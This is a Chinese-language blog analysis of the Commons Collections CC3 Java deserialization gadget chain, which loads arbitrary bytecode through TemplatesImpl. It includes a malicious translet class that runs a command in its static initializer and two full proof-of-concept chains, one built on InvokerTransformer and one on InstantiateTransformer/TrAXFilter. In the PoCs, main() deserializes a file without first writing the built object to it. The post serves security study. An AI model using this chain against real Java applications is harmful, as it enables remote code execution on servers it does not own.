前言 通过 defineClass字节码加载任意类而拓宽的一条链子 ,但是在实际场景中,因为defineClass方法作用域却是不开放的,所以我们很很难直接利用到它,CC3的利用关键就是 TransletClassLoader 中的 defineClass 调用了此方法,当过滤Runtime时,可以尝试利用
分析 包 com.sun.org.apache.xalan.internal.xsltc.trax 中的 TemplatesImpl 中静态类 TransletClassLoader重写了 defineClass方法 default类型只能本包调用
向上寻找调用处,TemplatesImpl
的 defineTransletClasses
方法
再往上找到 TemplatesImpl
的 getTransletInstance
私有属性方法,看到这里在调用 defineTransletClasses 之后有一个 newInstance() 的操作,这里就存在动态加载类的可能,由于 getTransletInstance是private
,接着向上寻找
只存在一处 public的newTransformer 方法,进行了调用
大概流程就是触发 newTransformer 函数,触发链子
尝试构造 首先看一下构造函数,什么都没干,也就是说各种参数需要自己赋值
三个参数暂时不用管,进入getTransletInstance方法
这里 _name 需要赋,_class 不需要赋值
跟进 defineTransletClasses() 然后 _bytecodes ,_tfactory 需要赋值
_bytecodes为二维数组在这个for循环中,设置 _class的值
这样构造
byte[] code = Files.readAllBytes(Paths.get("C:\\Users\\cys\\Desktop\\Test.class")); byte[][] codes = {code}; byteField.set(templates,codes);
看 _tfactory ,transient类型变量无法序列化
在readObject中进行了赋值
先正向测试这样构造
Field tfactoryField = tc.getDeclaredField("_tfactory"); tfactoryField.setAccessible(true); tfactoryField.set(templates,new TransformerFactoryImpl());
再看
跟进 ABSTRACT_TRANSLET 要求为
com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet
在构造恶意类时这样,该导入导入,该重写重写
import java.io.IOException;import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;public class Calc extends AbstractTranslet { static { try { Runtime.getRuntime().exec("calc" ); } catch (IOException e) { e.printStackTrace(); } } @Override public void transform (DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } }
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;public class CC3 { public static void main (String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl(); Class tc = templates.getClass(); Field nameField = tc.getDeclaredField("_name" ); nameField.setAccessible(true ); nameField.set(templates,"aaa" ); Field byteField = tc.getDeclaredField("_bytecodes" ); byteField.setAccessible(true ); byte [] code = Files.readAllBytes(Paths.get("D:/cc1/target/classes/Calc.class" )); byte [][] codes = {code}; byteField.set(templates,codes); Field tfactoryField = tc.getDeclaredField("_tfactory" ); tfactoryField.setAccessible(true ); tfactoryField.set(templates,new TransformerFactoryImpl()); templates.newTransformer(); } }
这样,在类运行时执行了static代码块
poc 这样就可以用newTransformer方法执行任意代码,直接利用cc1中的 LazyMap 或者 TransformedMap 的InvokerTransform.transformer
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.LazyMap;import org.apache.commons.collections.map.TransformedMap;import java.io.FileInputStream;import java.io.FileOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.annotation.Retention;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.lang.reflect.InvocationHandler;import java.lang.reflect.Proxy;import java.nio.file.Files;import java.nio.file.Paths;import java.util.HashMap;import java.util.Map;public class CC3 { public static void main (String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl(); Class tc = templates.getClass(); Field nameField = tc.getDeclaredField("_name" ); nameField.setAccessible(true ); nameField.set(templates,"aaa" ); Field byteField = tc.getDeclaredField("_bytecodes" ); byteField.setAccessible(true ); byte [] code = Files.readAllBytes(Paths.get("D:/cc1/target/classes/Calc.class" )); byte [][] codes = {code}; byteField.set(templates,codes); Field tfactoryField = tc.getDeclaredField("_tfactory" ); tfactoryField.setAccessible(true ); tfactoryField.set(templates,new TransformerFactoryImpl()); Transformer[] transformers = new Transformer[]{ new ConstantTransformer(templates), new InvokerTransformer("newTransformer" , null , null ) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); Map<Object, Object> map = new HashMap<>(); Map lazymap = LazyMap.decorate(map, chainedTransformer); Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor cons = c.getDeclaredConstructor(Class.class, Map.class); cons.setAccessible(true ); InvocationHandler handler = (InvocationHandler) cons.newInstance(Retention.class, lazymap); Map proxymap = (Map) Proxy.newProxyInstance(lazymap.getClass().getClassLoader(),new Class[]{Map.class},handler); Object o = cons.newInstance(Retention.class,proxymap); unserialize("ser.bin" ); } public static void serialize (Object obj) throws Exception { FileOutputStream fos = new FileOutputStream("ser.bin" ); ObjectOutputStream oos = new ObjectOutputStream(fos); oos.writeObject(obj); oos.close(); } public static Object unserialize (String Filname) throws Exception, ClassNotFoundException { FileInputStream fis = new FileInputStream(Filname); ObjectInputStream ois = new ObjectInputStream(fis); Object obj = ois.readObject(); return obj; } }
流程图
ysoserial 使用 InstantiateTransformer 来替代 InvokerTransformer
final Transformer[] transformers = new Transformer[] { new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer( new Class[] { Templates.class }, new Object[] { templatesImpl } )};
作者向上寻找调用newTransformer处,在 TrAXFilter.java 发现 templates可控,但是这个类 没有继承serializable接口 无法序列化
为了解决这一问题,作者寻找到 InstantiateTransformer 中的 transform方法 实例化 TrAXFilter
poc2 import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InstantiateTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.LazyMap;import org.apache.commons.collections.map.TransformedMap;import javax.xml.transform.Templates;import java.io.FileInputStream;import java.io.FileOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.annotation.Retention;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.lang.reflect.InvocationHandler;import java.lang.reflect.Proxy;import java.nio.file.Files;import java.nio.file.Paths;import java.util.HashMap;import java.util.Map;public class CC3 { public static void main (String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl(); Class tc = templates.getClass(); Field nameField = tc.getDeclaredField("_name" ); nameField.setAccessible(true ); nameField.set(templates,"aaa" ); Field byteField = tc.getDeclaredField("_bytecodes" ); byteField.setAccessible(true ); byte [] code = Files.readAllBytes(Paths.get("D:/cc1/target/classes/Calc.class" )); byte [][] codes = {code}; byteField.set(templates,codes); Field tfactoryField = tc.getDeclaredField("_tfactory" ); tfactoryField.setAccessible(true ); tfactoryField.set(templates,new TransformerFactoryImpl()); InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}); Transformer[] transformers = new Transformer[]{ new ConstantTransformer(TrAXFilter.class), instantiateTransformer }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); Map<Object, Object> map = new HashMap<>(); Map lazymap = LazyMap.decorate(map, chainedTransformer); Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor cons = c.getDeclaredConstructor(Class.class, Map.class); cons.setAccessible(true ); InvocationHandler handler = (InvocationHandler) cons.newInstance(Retention.class, lazymap); Map proxymap = (Map) Proxy.newProxyInstance(lazymap.getClass().getClassLoader(),new Class[]{Map.class},handler); Object o = cons.newInstance(Retention.class,proxymap); unserialize("ser.bin" ); } public static void serialize (Object obj) throws Exception { FileOutputStream fos = new FileOutputStream("ser.bin" ); ObjectOutputStream oos = new ObjectOutputStream(fos); oos.writeObject(obj); oos.close(); } public static Object unserialize (String Filname) throws Exception, ClassNotFoundException { FileInputStream fis = new FileInputStream(Filname); ObjectInputStream ois = new ObjectInputStream(fis); Object obj = ois.readObject(); return obj; } }
流程图